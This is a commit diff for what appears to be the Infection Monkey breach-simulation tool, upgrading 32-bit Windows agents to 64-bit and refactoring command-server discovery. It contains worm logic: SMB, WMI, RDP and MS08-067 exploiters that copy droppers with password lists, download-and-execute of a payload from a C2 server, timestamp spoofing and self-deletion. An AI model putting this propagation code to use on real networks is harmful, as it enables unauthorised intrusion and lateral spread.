Merge pull request #104 from guardicore/bugfix/upgrade-windows-32-to-64

Bugfix/upgrade windows 32 to 64
This commit is contained in:
Daniel Goldberg 2018-04-17 10:26:30 +03:00 committed by GitHub
commit c82fd3400a
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
14 changed files with 208 additions and 75 deletions

View File

@ -1,4 +1,5 @@
import os import os
import struct
import sys import sys
import types import types
import uuid import uuid
@ -115,7 +116,8 @@ class Configuration(object):
dropper_set_date = True dropper_set_date = True
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll" dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
dropper_date_reference_path_linux = '/bin/sh' dropper_date_reference_path_linux = '/bin/sh'
dropper_target_path = r"C:\Windows\monkey.exe" dropper_target_path_win_32 = r"C:\Windows\monkey32.exe"
dropper_target_path_win_64 = r"C:\Windows\monkey64.exe"
dropper_target_path_linux = '/tmp/monkey' dropper_target_path_linux = '/tmp/monkey'
########################### ###########################

View File

@ -4,6 +4,7 @@ import platform
from socket import gethostname from socket import gethostname
import requests import requests
from requests.exceptions import ConnectionError
import monkeyfs import monkeyfs
import tunnel import tunnel
@ -24,10 +25,10 @@ class ControlClient(object):
proxies = {} proxies = {}
@staticmethod @staticmethod
def wakeup(parent=None, default_tunnel=None, has_internet_access=None): def wakeup(parent=None, has_internet_access=None):
LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers) if parent:
if parent or default_tunnel: LOG.debug("parent: %s" % (parent,))
LOG.debug("parent: %s, default_tunnel: %s" % (parent, default_tunnel))
hostname = gethostname() hostname = gethostname()
if not parent: if not parent:
parent = GUID parent = GUID
@ -35,10 +36,6 @@ class ControlClient(object):
if has_internet_access is None: if has_internet_access is None:
has_internet_access = check_internet_access(WormConfiguration.internet_services) has_internet_access = check_internet_access(WormConfiguration.internet_services)
for server in WormConfiguration.command_servers:
try:
WormConfiguration.current_server = server
monkey = {'guid': GUID, monkey = {'guid': GUID,
'hostname': hostname, 'hostname': hostname,
'ip_addresses': local_ips(), 'ip_addresses': local_ips(),
@ -50,33 +47,55 @@ class ControlClient(object):
if ControlClient.proxies: if ControlClient.proxies:
monkey['tunnel'] = ControlClient.proxies.get('https') monkey['tunnel'] = ControlClient.proxies.get('https')
debug_message = "Trying to connect to server: %s" % server requests.post("https://%s/api/monkey" % (WormConfiguration.current_server,),
if ControlClient.proxies:
debug_message += " through proxies: %s" % ControlClient.proxies
LOG.debug(debug_message)
reply = requests.post("https://%s/api/monkey" % (server,),
data=json.dumps(monkey), data=json.dumps(monkey),
headers={'content-type': 'application/json'}, headers={'content-type': 'application/json'},
verify=False, verify=False,
proxies=ControlClient.proxies, proxies=ControlClient.proxies,
timeout=20) timeout=20)
@staticmethod
def find_server(default_tunnel=None):
LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers)
if default_tunnel:
LOG.debug("default_tunnel: %s" % (default_tunnel,))
current_server = ""
for server in WormConfiguration.command_servers:
try:
current_server = server
debug_message = "Trying to connect to server: %s" % server
if ControlClient.proxies:
debug_message += " through proxies: %s" % ControlClient.proxies
LOG.debug(debug_message)
requests.get("https://%s/api?action=is-up" % (server,),
verify=False,
proxies=ControlClient.proxies)
WormConfiguration.current_server = current_server
break break
except Exception as exc: except ConnectionError as exc:
WormConfiguration.current_server = "" current_server = ""
LOG.warn("Error connecting to control server %s: %s", server, exc) LOG.warn("Error connecting to control server %s: %s", server, exc)
if not WormConfiguration.current_server: if current_server:
if not ControlClient.proxies: return True
else:
if ControlClient.proxies:
return False
else:
LOG.info("Starting tunnel lookup...") LOG.info("Starting tunnel lookup...")
proxy_find = tunnel.find_tunnel(default=default_tunnel) proxy_find = tunnel.find_tunnel(default=default_tunnel)
if proxy_find: if proxy_find:
proxy_address, proxy_port = proxy_find proxy_address, proxy_port = proxy_find
LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port)) LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port))
ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port) ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port)
ControlClient.wakeup(parent=parent, has_internet_access=has_internet_access) return ControlClient.find_server()
else: else:
LOG.info("No tunnel found") LOG.info("No tunnel found")
return False
@staticmethod @staticmethod
def keepalive(): def keepalive():
@ -249,7 +268,6 @@ class ControlClient(object):
data=json.dumps(host_dict), data=json.dumps(host_dict),
headers={'content-type': 'application/json'}, headers={'content-type': 'application/json'},
verify=False, proxies=ControlClient.proxies) verify=False, proxies=ControlClient.proxies)
if 200 == reply.status_code: if 200 == reply.status_code:
result_json = reply.json() result_json = reply.json()
filename = result_json.get('filename') filename = result_json.get('filename')

View File

@ -38,7 +38,7 @@ class MonkeyDrops(object):
arg_parser.add_argument('-p', '--parent') arg_parser.add_argument('-p', '--parent')
arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-t', '--tunnel')
arg_parser.add_argument('-s', '--server') arg_parser.add_argument('-s', '--server')
arg_parser.add_argument('-d', '--depth') arg_parser.add_argument('-d', '--depth', type=int)
arg_parser.add_argument('-l', '--location') arg_parser.add_argument('-l', '--location')
self.monkey_args = args[1:] self.monkey_args = args[1:]
self.opts, _ = arg_parser.parse_known_args(args) self.opts, _ = arg_parser.parse_known_args(args)
@ -56,7 +56,10 @@ class MonkeyDrops(object):
return return
# we copy/move only in case path is different # we copy/move only in case path is different
file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower()) file_moved = os.path.samefile(self._config['source_path'], self._config['destination_path'])
if not file_moved and os.path.exists(self._config['destination_path']):
os.remove(self._config['destination_path'])
# first try to move the file # first try to move the file
if not file_moved and WormConfiguration.dropper_try_move_first: if not file_moved and WormConfiguration.dropper_try_move_first:
@ -105,8 +108,8 @@ class MonkeyDrops(object):
except: except:
LOG.warn("Cannot set reference date to destination file") LOG.warn("Cannot set reference date to destination file")
monkey_options = build_monkey_commandline_explicitly( monkey_options =\
self.opts.parent, self.opts.tunnel, self.opts.server, int(self.opts.depth)) build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
if OperatingSystem.Windows == SystemInfoCollector.get_os(): if OperatingSystem.Windows == SystemInfoCollector.get_os():
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options

View File

@ -22,7 +22,8 @@
"dropper_log_path_windows": "%temp%\\~df1562.tmp", "dropper_log_path_windows": "%temp%\\~df1562.tmp",
"dropper_log_path_linux": "/tmp/user-1562", "dropper_log_path_linux": "/tmp/user-1562",
"dropper_set_date": true, "dropper_set_date": true,
"dropper_target_path": "C:\\Windows\\monkey.exe", "dropper_target_path_win_32": "C:\\Windows\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
"dropper_target_path_linux": "/tmp/monkey", "dropper_target_path_linux": "/tmp/monkey",

View File

@ -278,11 +278,11 @@ class RdpExploiter(HostExploiter):
if self._config.rdp_use_vbs_download: if self._config.rdp_use_vbs_download:
command = RDP_CMDLINE_HTTP_VBS % { command = RDP_CMDLINE_HTTP_VBS % {
'monkey_path': self._config.dropper_target_path, 'monkey_path': self._config.dropper_target_path_win_32,
'http_path': http_path, 'parameters': cmdline} 'http_path': http_path, 'parameters': cmdline}
else: else:
command = RDP_CMDLINE_HTTP_BITS % { command = RDP_CMDLINE_HTTP_BITS % {
'monkey_path': self._config.dropper_target_path, 'monkey_path': self._config.dropper_target_path_win_32,
'http_path': http_path, 'parameters': cmdline} 'http_path': http_path, 'parameters': cmdline}
user_password_pairs = self._config.get_exploit_user_password_pairs() user_password_pairs = self._config.get_exploit_user_password_pairs()

View File

@ -57,7 +57,7 @@ class SmbExploiter(HostExploiter):
# copy the file remotely using SMB # copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(self.host, remote_full_path = SmbTools.copy_file(self.host,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path_win_32,
user, user,
password, password,
lm_hash, lm_hash,
@ -85,9 +85,9 @@ class SmbExploiter(HostExploiter):
return False return False
# execute the remote dropper in case the path isn't final # execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path.lower(): if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \ cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
else: else:
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \ cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1) build_monkey_commandline(self.host, get_monkey_depth() - 1)

View File

@ -214,7 +214,7 @@ class Ms08_067_Exploiter(HostExploiter):
# copy the file remotely using SMB # copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(self.host, remote_full_path = SmbTools.copy_file(self.host,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path_win_32,
self._config.ms08_067_remote_user_add, self._config.ms08_067_remote_user_add,
self._config.ms08_067_remote_user_pass) self._config.ms08_067_remote_user_pass)
@ -223,7 +223,7 @@ class Ms08_067_Exploiter(HostExploiter):
for password in self._config.exploit_password_list: for password in self._config.exploit_password_list:
remote_full_path = SmbTools.copy_file(self.host, remote_full_path = SmbTools.copy_file(self.host,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path_win_32,
"Administrator", "Administrator",
password) password)
if remote_full_path: if remote_full_path:
@ -233,9 +233,9 @@ class Ms08_067_Exploiter(HostExploiter):
return False return False
# execute the remote dropper in case the path isn't final # execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path.lower(): if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
else: else:
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1) build_monkey_commandline(self.host, get_monkey_depth() - 1)

View File

@ -77,7 +77,7 @@ class WmiExploiter(HostExploiter):
# copy the file remotely using SMB # copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(self.host, remote_full_path = SmbTools.copy_file(self.host,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path_win_32,
user, user,
password, password,
lm_hash, lm_hash,
@ -88,9 +88,9 @@ class WmiExploiter(HostExploiter):
wmi_connection.close() wmi_connection.close()
return False return False
# execute the remote dropper in case the path isn't final # execute the remote dropper in case the path isn't final
elif remote_full_path.lower() != self._config.dropper_target_path.lower(): elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
else: else:
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1) build_monkey_commandline(self.host, get_monkey_depth() - 1)

View File

@ -91,7 +91,12 @@ def main():
if WormConfiguration.use_file_logging: if WormConfiguration.use_file_logging:
if os.path.exists(log_path): if os.path.exists(log_path):
# If log exists but can't be removed it means other monkey is running. This usually happens on upgrade
# from 32bit to 64bit monkey on Windows. In all cases this shouldn't be a problem.
try:
os.remove(log_path) os.remove(log_path)
except OSError:
pass
LOG_CONFIG['handlers']['file']['filename'] = log_path LOG_CONFIG['handlers']['file']['filename'] = log_path
LOG_CONFIG['root']['handlers'].append('file') LOG_CONFIG['root']['handlers'].append('file')
else: else:

View File

@ -14,6 +14,7 @@ from network.firewall import app as firewall
from network.network_scanner import NetworkScanner from network.network_scanner import NetworkScanner
from system_info import SystemInfoCollector from system_info import SystemInfoCollector
from system_singleton import SystemSingleton from system_singleton import SystemSingleton
from windows_upgrader import WindowsUpgrader
__author__ = 'itamar' __author__ = 'itamar'
@ -35,6 +36,8 @@ class InfectionMonkey(object):
self._fingerprint = None self._fingerprint = None
self._default_server = None self._default_server = None
self._depth = 0 self._depth = 0
self._opts = None
self._upgrading_to_64 = False
def initialize(self): def initialize(self):
LOG.info("Monkey is initializing...") LOG.info("Monkey is initializing...")
@ -46,14 +49,13 @@ class InfectionMonkey(object):
arg_parser.add_argument('-p', '--parent') arg_parser.add_argument('-p', '--parent')
arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-t', '--tunnel')
arg_parser.add_argument('-s', '--server') arg_parser.add_argument('-s', '--server')
arg_parser.add_argument('-d', '--depth') arg_parser.add_argument('-d', '--depth', type=int)
opts, self._args = arg_parser.parse_known_args(self._args) self._opts, self._args = arg_parser.parse_known_args(self._args)
self._parent = opts.parent self._parent = self._opts.parent
self._default_tunnel = opts.tunnel self._default_tunnel = self._opts.tunnel
self._default_server = opts.server self._default_server = self._opts.server
if opts.depth: if self._opts.depth:
WormConfiguration.depth = int(opts.depth)
WormConfiguration._depth_from_commandline = True WormConfiguration._depth_from_commandline = True
self._keep_running = True self._keep_running = True
self._network = NetworkScanner() self._network = NetworkScanner()
@ -69,15 +71,27 @@ class InfectionMonkey(object):
def start(self): def start(self):
LOG.info("Monkey is running...") LOG.info("Monkey is running...")
if firewall.is_enabled(): if not ControlClient.find_server(default_tunnel=self._default_tunnel):
firewall.add_firewall_rule() LOG.info("Monkey couldn't find server. Going down.")
ControlClient.wakeup(parent=self._parent, default_tunnel=self._default_tunnel) return
if WindowsUpgrader.should_upgrade():
self._upgrading_to_64 = True
self._singleton.unlock()
LOG.info("32bit monkey running on 64bit Windows. Upgrading.")
WindowsUpgrader.upgrade(self._opts)
return
ControlClient.wakeup(parent=self._parent)
ControlClient.load_control_config() ControlClient.load_control_config()
if not WormConfiguration.alive: if not WormConfiguration.alive:
LOG.info("Marked not alive from configuration") LOG.info("Marked not alive from configuration")
return return
if firewall.is_enabled():
firewall.add_firewall_rule()
monkey_tunnel = ControlClient.create_control_tunnel() monkey_tunnel = ControlClient.create_control_tunnel()
if monkey_tunnel: if monkey_tunnel:
monkey_tunnel.start() monkey_tunnel.start()
@ -216,23 +230,31 @@ class InfectionMonkey(object):
LOG.info("Monkey cleanup started") LOG.info("Monkey cleanup started")
self._keep_running = False self._keep_running = False
# Signal the server (before closing the tunnel) if self._upgrading_to_64:
ControlClient.send_telemetry("state", {'done': True}) InfectionMonkey.close_tunnel()
firewall.close()
else:
ControlClient.send_telemetry("state", {'done': True}) # Signal the server (before closing the tunnel)
InfectionMonkey.close_tunnel()
firewall.close()
if WormConfiguration.send_log_to_server:
self.send_log()
self._singleton.unlock()
# Close tunnel InfectionMonkey.self_delete()
LOG.info("Monkey is shutting down")
@staticmethod
def close_tunnel():
tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0] tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0]
if tunnel_address: if tunnel_address:
LOG.info("Quitting tunnel %s", tunnel_address) LOG.info("Quitting tunnel %s", tunnel_address)
tunnel.quit_tunnel(tunnel_address) tunnel.quit_tunnel(tunnel_address)
firewall.close() @staticmethod
def self_delete():
if WormConfiguration.send_log_to_server: if WormConfiguration.self_delete_in_cleanup \
self.send_log() and -1 == sys.executable.find('python'):
self._singleton.unlock()
if WormConfiguration.self_delete_in_cleanup and -1 == sys.executable.find('python'):
try: try:
if "win32" == sys.platform: if "win32" == sys.platform:
from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE
@ -247,8 +269,6 @@ class InfectionMonkey(object):
except Exception as exc: except Exception as exc:
LOG.error("Exception in self delete: %s", exc) LOG.error("Exception in self delete: %s", exc)
LOG.info("Monkey is shutting down")
def send_log(self): def send_log(self):
monkey_log_path = utils.get_monkey_log_path() monkey_log_path = utils.get_monkey_log_path()
if os.path.exists(monkey_log_path): if os.path.exists(monkey_log_path):

View File

@ -1,5 +1,6 @@
import os import os
import sys import sys
import struct
from config import WormConfiguration from config import WormConfiguration
@ -12,3 +13,19 @@ def get_monkey_log_path():
def get_dropper_log_path(): def get_dropper_log_path():
return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \ return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \
else WormConfiguration.dropper_log_path_linux else WormConfiguration.dropper_log_path_linux
def is_64bit_windows_os():
'''
Checks for 64 bit Windows OS using environment variables.
:return:
'''
return 'PROGRAMFILES(X86)' in os.environ
def is_64bit_python():
return struct.calcsize("P") == 8
def is_windows_os():
return sys.platform.startswith("win")

View File

@ -0,0 +1,54 @@
import logging
import subprocess
import sys
import shutil
import time
import monkeyfs
from config import WormConfiguration
from control import ControlClient
from exploit.tools import build_monkey_commandline_explicitly
from model import MONKEY_CMDLINE_WINDOWS
from utils import is_windows_os, is_64bit_windows_os, is_64bit_python
__author__ = 'itay.mizeretz'
LOG = logging.getLogger(__name__)
if "win32" == sys.platform:
from win32process import DETACHED_PROCESS
else:
DETACHED_PROCESS = 0
class WindowsUpgrader(object):
__UPGRADE_WAIT_TIME__ = 3
@staticmethod
def should_upgrade():
return is_windows_os() and is_64bit_windows_os() \
and not is_64bit_python()
@staticmethod
def upgrade(opts):
monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False)
with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file:
shutil.copyfileobj(downloaded_monkey_file, written_monkey_file)
monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth)
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {
'monkey_path': WormConfiguration.dropper_target_path_win_64} + monkey_options
monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
stdin=None, stdout=None, stderr=None,
close_fds=True, creationflags=DETACHED_PROCESS)
LOG.info("Executed 64bit monkey process (PID=%d) with command line: %s",
monkey_process.pid, monkey_cmdline)
time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__)
if monkey_process.poll() is not None:
LOG.error("Seems like monkey died too soon")

View File

@ -15,7 +15,6 @@ __author__ = 'Barak'
class Root(flask_restful.Resource): class Root(flask_restful.Resource):
@jwt_required()
def get(self, action=None): def get(self, action=None):
if not action: if not action:
action = request.args.get('action') action = request.args.get('action')
@ -26,15 +25,19 @@ class Root(flask_restful.Resource):
return Root.reset_db() return Root.reset_db()
elif action == "killall": elif action == "killall":
return Root.kill_all() return Root.kill_all()
elif action == "is-up":
return {'is-up': True}
else: else:
return make_response(400, {'error': 'unknown action'}) return make_response(400, {'error': 'unknown action'})
@staticmethod @staticmethod
@jwt_required()
def get_server_info(): def get_server_info():
return jsonify(ip_addresses=local_ip_addresses(), mongo=str(mongo.db), return jsonify(ip_addresses=local_ip_addresses(), mongo=str(mongo.db),
completed_steps=Root.get_completed_steps()) completed_steps=Root.get_completed_steps())
@staticmethod @staticmethod
@jwt_required()
def reset_db(): def reset_db():
# We can't drop system collections. # We can't drop system collections.
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')] [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
@ -42,6 +45,7 @@ class Root(flask_restful.Resource):
return jsonify(status='OK') return jsonify(status='OK')
@staticmethod @staticmethod
@jwt_required()
def kill_all(): def kill_all():
mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}}, mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}},
upsert=False, upsert=False,
@ -49,6 +53,7 @@ class Root(flask_restful.Resource):
return jsonify(status='OK') return jsonify(status='OK')
@staticmethod @staticmethod
@jwt_required()
def get_completed_steps(): def get_completed_steps():
is_any_exists = NodeService.is_any_monkey_exists() is_any_exists = NodeService.is_any_monkey_exists()
infection_done = NodeService.is_monkey_finished_running() infection_done = NodeService.is_monkey_finished_running()

View File

@ -421,11 +421,19 @@ SCHEMA = {
"default": "/tmp/monkey", "default": "/tmp/monkey",
"description": "Determines where should the dropper place the monkey on a Linux machine" "description": "Determines where should the dropper place the monkey on a Linux machine"
}, },
"dropper_target_path": { "dropper_target_path_win_32": {
"title": "Dropper target path on Windows", "title": "Dropper target path on Windows (32bit)",
"type": "string", "type": "string",
"default": "C:\\Windows\\monkey.exe", "default": "C:\\Windows\\monkey32.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine" "description": "Determines where should the dropper place the monkey on a Windows machine "
"(32bit)"
},
"dropper_target_path_win_64": {
"title": "Dropper target path on Windows (64bit)",
"type": "string",
"default": "C:\\Windows\\monkey64.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine "
"(64 bit)"
}, },
"dropper_try_move_first": { "dropper_try_move_first": {
"title": "Try to move first", "title": "Try to move first",